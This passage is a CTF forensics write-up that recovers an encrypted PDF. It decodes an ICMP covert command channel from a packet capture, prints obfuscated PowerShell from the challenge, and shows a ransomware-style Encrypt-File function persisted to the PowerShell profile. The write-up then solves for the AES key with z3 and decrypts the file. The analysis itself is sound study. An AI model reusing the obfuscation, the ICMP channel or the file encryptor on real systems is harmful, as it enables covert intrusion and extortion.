mode=AES.MODE_CBC, iv=iv) data = aes.decrypt(enc) return unpad(data, AES.block_size) def extract_icmp_data_with_payload(pcap_file): packets = rdpcap(pcap_file) buff_req_reconstructed = b"" buff_rep_reconstructed = b"" buff_req = list() for i, packet in enumerate(packets): if packet.haslayer(ICMP): icmp_layer = packet.getlayer(ICMP) if packet.haslayer(Raw): payload_data: bytes = packet.getlayer(Raw).load if icmp_layer.type == 8: if bytes.fromhex("5a66b5c7") in payload_data: if len(buff_req) > 0: data = zlib.decompress(decrypt(b"".join(buff_req))) buff_req_reconstructed += data buff_req.clear() else: print(f"[packet {i +1}] is not valid aes block. buff=", payload_data) buff_req.append(payload_data) elif icmp_layer.type == 0: if bytes.fromhex("82cfac05") in payload_data: data = zlib.decompress(decrypt(payload_data)) buff_rep_reconstructed += data if len(buff_req): buff_req_reconstructed += zlib.decompress(decrypt(b"".join(buff_req))) buff_req.clear() return (buff_req_reconstructed, buff_rep_reconstructed) pcap_file = "direct_love.pcapng" icmp_req_data, icmp_rep_data = extract_icmp_data_with_payload(pcap_file) with open("req.txt", "w") as f: f.write(icmp_req_data.decode()) with open("rep.txt", "wb") as f: f.write(icmp_rep_data) print("Done") ``` ### notes on ICMP data After experimenting, there's certain pattern. for every pair of ICMP Request and Reply packet, they hold the exact same data. and there's additional ICMP reply packet with different IV. turns out, the Pair ICMP evaluates to base64 encoded command and the additional ICMP packet evaluates to the command output ## Obfuscated Poweshell Analysis The ICMP data we extract, resulted to 2 different files, `req.txt` and `rep.txt`. `req.txt` contains base64encoded string with tons of special char. to decode it we need to use [CyberChef](https://gchq.github.io/CyberChef/) and remove the null bytes. The decoded string is obfuscated powershell script (on god) with 10000++ lines. below is the formatted and truncated script. ```ps= ${[-&}=-${#%*}; ${*^@}="$(@{})"[14]+"$(@{})"[27]+'x'+' ${)^%}'; ${%^&}="$(@{})"[14]+"$(@{})"[27]+'x'+' ${**(}'; ${!>#}=++${#%*}; ${@%^}=++${#%*}; ${**(}=++${#%*}; ${(#)}=++${#%*}; ${*&!}=++${#%*}; ${@$#}=++${#%*}; ${&^^}=++${#%*}; ${^&!}=++${#%*}; ${*%$}=++${#%*}; ${)^%}="["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${&^^}${^&!}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${[-&}${!>#}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${!>#}${*%$}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${(#)}${*&!}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${&^^}${**(}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${!>#}${@$#}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${[-&}${!>#}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${[-&}${*%$}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${**(}${@%^}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${(#)}${*&!}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${^&!}${[-&}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${*%$}${&^^}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${!>#}${@$#}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${[-&}${(#)}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${**(}${@%^}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${**(}${@$#}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${^&!}${[-&}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${^&!}${@%^}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${&^^}${*%$}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${&^^}${[-&}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${&^^}${**(}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${&^^}${@$#}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${@$#}${*%$}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${**(}${@%^}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${(#)}${*&!}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${&^^}${**(}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${!>#}${@$#}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${[-&}${!>#}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${[-&}${*%$}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${^&!}${(#)}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${@%^}${!>#}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${!>#}${@%^}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${[-&}${!>#}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${**(}${@%^}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${&^^}${[-&}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${[-&}${*&!}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${[-&}${^&!}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${[-&}${!>#}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${**(}${@%^}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${(#)}${*&!}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${&^^}${[-&}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${!>#}${!>#}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${!>#}${(#)}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${*%$}${*%$}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${[-&}${!>#}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${!>#}${[-&}"; iex ${*^@}; iex ${%^&}; ${%^&}=${(#)}; ${*^@}=${*&!}; ${)^%}=${@$#}; ${**(}=${&^^}; ${!>#}=-${%^&}; ${@$#}="$(@{})"[14]+"$(@{})"[27]+'x'+' ${^&!}'; ${*&!}="$(@{})"[14]+"$(@{})"[27]+'x'+' ${&^^}'; ${*%$}=++${%^&}; ${[-&}=++${%^&}; ${&^^}=++${%^&}; ${*^@}=++${%^&}; ${**(}=++${%^&}; ${@%^}=++${%^&}; ${#%*}=++${%^&}; ${(#)}=++${%^&}; ${)^%}=++${%^&}; ${^&!}="["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${*%$}${!>#}${!>#}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${*%$}${!>#}${**(}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${*%$}${*%$}${*^@}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${&^^}${[-&}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${*^@}${@%^}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${*^@}${@%^}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${*^@}${#%*}"+'+'+"["+"$(@{})"[7]+"$(@{})"[19]+"$(@{})"[20]+"$?"[1]+"]"+"${*%$}${!>#}"; iex ${@$#}; iex ${*&!}; . . . ``` > formatted, truncated, and modified a bit And near the ends, we could see a readable powershell function ```ps= Add-Content -Path $PROFILE -Value 'function Encrypt-File { param ([string]$Key, [string]$FilePath, [byte[]]$IV) ; $KeyBytes = [System.Text.Encoding]::UTF8.GetBytes($Key) ; $KeyBytes = [System.Security.Cryptography.SHA256]::Create().ComputeHash($KeyBytes) ; if ($IV.Length -ne 16) { throw "IV must be exactly 16 bytes long." } ; $aes = [System.Security.Cryptography.Aes]::Create() ; $aes.Key = $KeyBytes ; $aes.IV = $IV ; $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC ; $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 ; $encryptedBytes = $aes.CreateEncryptor().TransformFinalBlock([System.IO.File]::ReadAllBytes($FilePath), 0, [System.IO.File]::ReadAllBytes($FilePath).Length) ; [System.IO.File]::WriteAllBytes("$FilePath.wkwk", $encryptedBytes) }' ``` in powershell variable can be declared by using `${}` and with such syntaxt, the variable name can include any utf-8 chars, be it special or alphanumeric. Before analyzing deeper, let's just see what each block (until iex) does. My intuition gave me that the line before `iex` statement is trying to construct a string, so we can try to iex that variable before. Doing so on the first block gave me this ![image](https://hackmd.io/_uploads/HJJv8fqJJl.png) > output of the first iex block hoho, we are on the right track here. i tried to do this several times for each subsequent blocks (less than 10) and eventually find some that outputs something interesting ![image](https://hackmd.io/_uploads/ByUZwGckJe.png) ![image](https://hackmd.io/_uploads/HJVHDf9y1x.png) The first part picture is self-explanatory, it tries to create a glovbal variable `$key`, but the second picture? let's just leave it at that for now. the next we do is to get all the command strings generated by the shellcode. unfortunately, we can't evaluate (execute) them all in the same powershell session, it will break the whole command. luckily, we were able to come up with automation script as shown below ### automate.ps1 ```ps= $secondaryScriptPath = ".\req.txt.ps1" $lineInterval = 14 $resultFile = Join-Path -Path (Get-Location) -ChildPath "operation.txt" $totalLines = (Get-Content $secondaryScriptPath).Count $content = Get-Content $secondaryScriptPath $result = "" $counter = 0 while ($content.Count -gt 0) { $iexIndex = 0 while (-not ($content[$iexIndex] -match "iex")){ $iexIndex += 1; } $indices = 0..($iexIndex - 1) $scriptToRun = $content | Select-Object -Index $indices $scriptToRun = ($scriptToRun -join "`n") + "iex " + $scriptToRun[-1].Substring(0, 6) + ";" $bytes = [System.Text.Encoding]::Unicode.GetBytes($scriptToRun) $base64 = [Convert]::ToBase64String($bytes) Start-Process powershell -ArgumentList "-EncodedCommand", $base64 -NoNewWindow -RedirectStandardOutput $tempOutputFile -Wait Get-Content $tempOutputFile | Out-File $resultFile -Append $content = $content[($iexIndex + 2)..($content.Count - 1)] $counter +=1 } ``` This script will evaluate all of the string generation by shellcode and write it to a file. The content should look like this ``` ($key[47] -eq (191 -bxor 213)) -not ($key[24] -eq (231 -bxor 193)) -not ($key[2] -eq (171 -bxor 229)) ($key[11] -eq (13 -bxor 142)) -not ($key[19] -eq (121 -bxor 15)) . . . ``` ## AES Key Reconstruction To understand the purpose of commands operations in the previous section, we have to check the output of that command in `rep.txt`, below is the truncated `rep.txt` ```xml . . . <Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress" RefId="0"><TN RefId="0"><T>System.Management.Automation.PSCustomObject</T><T>System.Object</T></TN><MS><I64 N="SourceId">1</I64><PR N="Record"><AV>Preparing modules for first use.</AV><AI>0</AI><Nil /><PI>-1</PI><PC>-1</PC><T>Completed</T><SR>-1</SR><SD> </SD></PR></MS></Obj><Obj S="progress" RefId="1"><TNRef RefId="0" /><MS><I64 N="SourceId">2</I64><PR N="Record"><AV>Preparing modules for first use.</AV><AI>0</AI><Nil /><PI>-1</PI><PC>-1</PC><T>Completed</T><SR>-1</SR><SD> </SD></PR></MS></Obj></Objs>success#< CLIXML False <Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress" RefId="0"><TN RefId="0"><T>System.Management.Automation.PSCustomObject</T><T>System.Object</T></TN><MS><I64 N="SourceId">1</I64><PR N="Record"><AV>Preparing modules for first use.</AV><AI>0</AI><Nil /><PI>-1</PI><PC>-1</PC><T>Completed</T><SR>-1</SR><SD> </SD></PR></MS></Obj></Objs>#< CLIXML True <Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress" RefId="0"><TN RefId="0"><T>System.Management.Automation.PSCustomObject</T><T>System.Object</T></TN><MS><I64 N="SourceId">1</I64><PR N="Record"><AV>Preparing modules for first use.</AV><AI>0</AI><Nil /><PI>-1</PI><PC>-1</PC><T>Completed</T><SR>-1</SR><SD> </SD></PR></MS></Obj></Objs>#< CLIXML True <Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress" RefId="0"><TN RefId="0"><T>System.Management.Automation.PSCustomObject</T><T>System.Object</T></TN><MS><I64 N="SourceId">1</I64><PR N="Record"><AV>Preparing modules for first use.</AV><AI>0</AI><Nil /><PI>-1</PI><PC>-1</PC><T>Completed</T><SR>-1</SR><SD> </SD></PR></MS></Obj></Objs>#< CLIXML False <Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress" RefId="0"><TN RefId="0"><T>System.Management.Automation.PSCustomObject</T><T>System.Object</T></TN><MS><I64 N="SourceId">1</I64><PR N="Record"><AV>Preparing modules for first use.</AV><AI>0</AI><Nil /><PI>-1</PI><PC>-1</PC><T>Completed</T><SR>-1</SR><SD> </SD></PR></MS></Obj></Objs>#< CLIXML True <Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress" RefId="0"><TN RefId="0"><T>System.Management.Automation.PSCustomObject</T><T>System.Object</T></TN><MS><I64 N="SourceId">1</I64><PR N="Record"><AV>Preparing modules for first use.</AV><AI>0</AI><Nil /><PI>-1</PI><PC>-1</PC><T>Completed</T><SR>-1</SR><SD> </SD></PR></MS></Obj></Objs>#< CLIXML False <Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress" RefId="0"><TN RefId="0"><T>System.Management.Automation.PSCustomObject</T><T>System.Object</T></TN><MS><I64 N="SourceId">1</I64><PR N="Record"><AV>Preparing modules for first use.</AV><AI>0</AI><Nil /><PI>-1</PI><PC>-1</PC><T>Completed</T><SR>-1</SR><SD> </SD></PR></MS></Obj></Objs>#< CLIXML True <Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress" RefId="0"><TN RefId="0"><T>System.Management.Automation.PSCustomObject</T><T>System.Object</T></TN><MS><I64 N="SourceId">1</I64><PR N="Record"><AV>Preparing modules for first use.</AV><AI>0</AI><Nil /><PI>-1</PI><PC>-1</PC><T>Completed</T><SR>-1</SR><SD> </SD></PR></MS></Obj></Objs>#< CLIXML True <Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress" RefId="0"><TN RefId="0"><T>System.Management.Automation.PSCustomObject</T><T>System.Object</T></TN><MS><I64 N="SourceId">1</I64><PR N="Record"><AV>Preparing modules for first use.</AV><AI>0</AI><Nil /><PI>-1</PI><PC>-1</PC><T>Completed</T><SR>-1</SR><SD> </SD></PR></MS></Obj></Objs>#< CLIXML False <Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress" RefId="0"><TN RefId="0"><T>System.Management.Automation.PSCustomObject</T><T>System.Object</T></TN><MS><I64 N="SourceId">1</I64><PR N="Record"><AV>Preparing modules for first use.</AV><AI>0</AI><Nil /><PI>-1</PI><PC>-1</PC><T>Completed</T><SR>-1</SR><SD> </SD></PR></MS></Obj></Objs>#< CLIXML True <Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress" RefId="0"><TN RefId="0"><T>System.Management.Automation.PSCustomObject</T><T>System.Object</T></TN><MS><I64 N="SourceId">1</I64><PR N="Record"><AV>Preparing modules for first use.</AV><AI>0</AI><Nil /><PI>-1</PI><PC>-1</PC><T>Completed</T><SR>-1</SR><SD> </SD></PR></MS></Obj></Objs>#< CLIXML False . . . ``` So the script is actually telling us, the correct byte element of the key at certain indexes by doing the operation before. If that's the case, then what we are interested in are pair of command-ouput which either `eq operation-True` or `not eq operation-False` since it tells us the correct value of key at that index. Well then the next part will be parsing (again :sob: ) to whatever format you like, in this case, we decided to parse it to python syntax e.g using `Not()`. And we used z3 as the equalities solver, since evaluating manual 200++ statements is cumbersome. ### z3solver.py ```py= from z3 import Real, Solver, Not d = """ ($key[47] -eq (191 -bxor 213)) -not ($key[24] -eq (231 -bxor 193)) . . . """ r = """False True True False . . . """ key = [Real(f"x_{i}") for i in range(48)] s = Solver() problem = [] for c in d.splitlines(): if not c: continue c = c.replace("-not ", "Not").replace("$key", "key").replace("-eq", "==").replace("-bxor", "^") problem.append(c) for a, b in zip(problem, r.splitlines()): # print(a + " == " + b) s.add(eval(a + " == " + b)) s.check() model = s.model() for x in key: print(chr(int(str(model[x]))), end="") print() ``` This script will print the correct value for each key indices and after some post-proceessing, we get the key which is base64 encoded `$key = ZCiksSGQXP+8ofYJqfphfdWD+orfiGW/EUuwtexXuNaV3w==` ### Initialization Vector We already got the key, the `secret.pdf.wkwk`, but what about the IV? That's what also we asked ourselves. After some time of tinkering, we decided to run the obfuscated powershell block, after the declaration of `Encrypt-File`, which results as shown below ![image](https://hackmd.io/_uploads/S1_gRG5yke.png) > iex ${#%*} Turned out the script does output the IV as base64 encoded string, and we found it in the `rep.txt` deep down below. ![image](https://hackmd.io/_uploads/BkC8Rf51yg.png) ## Profit Now That we have all the necessary information, we can decrypt the `secret.pdf.wkwk`. ### solver.py ```ps= function Decrypt-File { param ( [string]$Key, [string]$FilePath, [string]$Base64IV ) $KeyBytes = [System.Text.Encoding]::UTF8.GetBytes($Key) $KeyBytes = [System.Security.Cryptography.SHA256]::Create().ComputeHash($KeyBytes) $IV = [Convert]::FromBase64String($Base64IV) if ($IV.Length -ne 16) { throw "IV must be exactly 16 bytes long." } $aes = [System.Security.Cryptography.Aes]::Create() $aes.Key = $KeyBytes $aes.IV = $IV $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $encryptedBytes = [System.IO.File]::ReadAllBytes($FilePath) $decryptedBytes = $aes.CreateDecryptor().TransformFinalBlock($encryptedBytes, 0, $encryptedBytes.Length) $outputFilePath = "decrypted.$FilePath" [System.IO.File]::WriteAllBytes($outputFilePath, $decryptedBytes) return $outputFilePath } Decrypt-File -Key "ZCiksSGQXP+8ofYJqfphfdWD+orfiGW/EUuwtexXuNaV3w==" -FilePath "Downloads\direct_love\secret.pdf" -Base64IV "zw7/1X08PaTw8KZmgFYwtQ==" ``` :::info **Somehow** our solver in python doesn't do it correctly, so we ought to use powershell, weird. ::: ![image](https://hackmd.io/_uploads/SJubkX51yl.png) ### Flag `TCP1P{It_tOOk_4_lOt_Of_s4cr1f1ces_fOr_Ch1zUrU_hUh?_It's_4ctU4lly_nOth1ng_fOr_me _4s_her_f14ncé.}` ## Contact You can find me on : - Discord (not4saken) - [Github](https://github.com/mm0ne)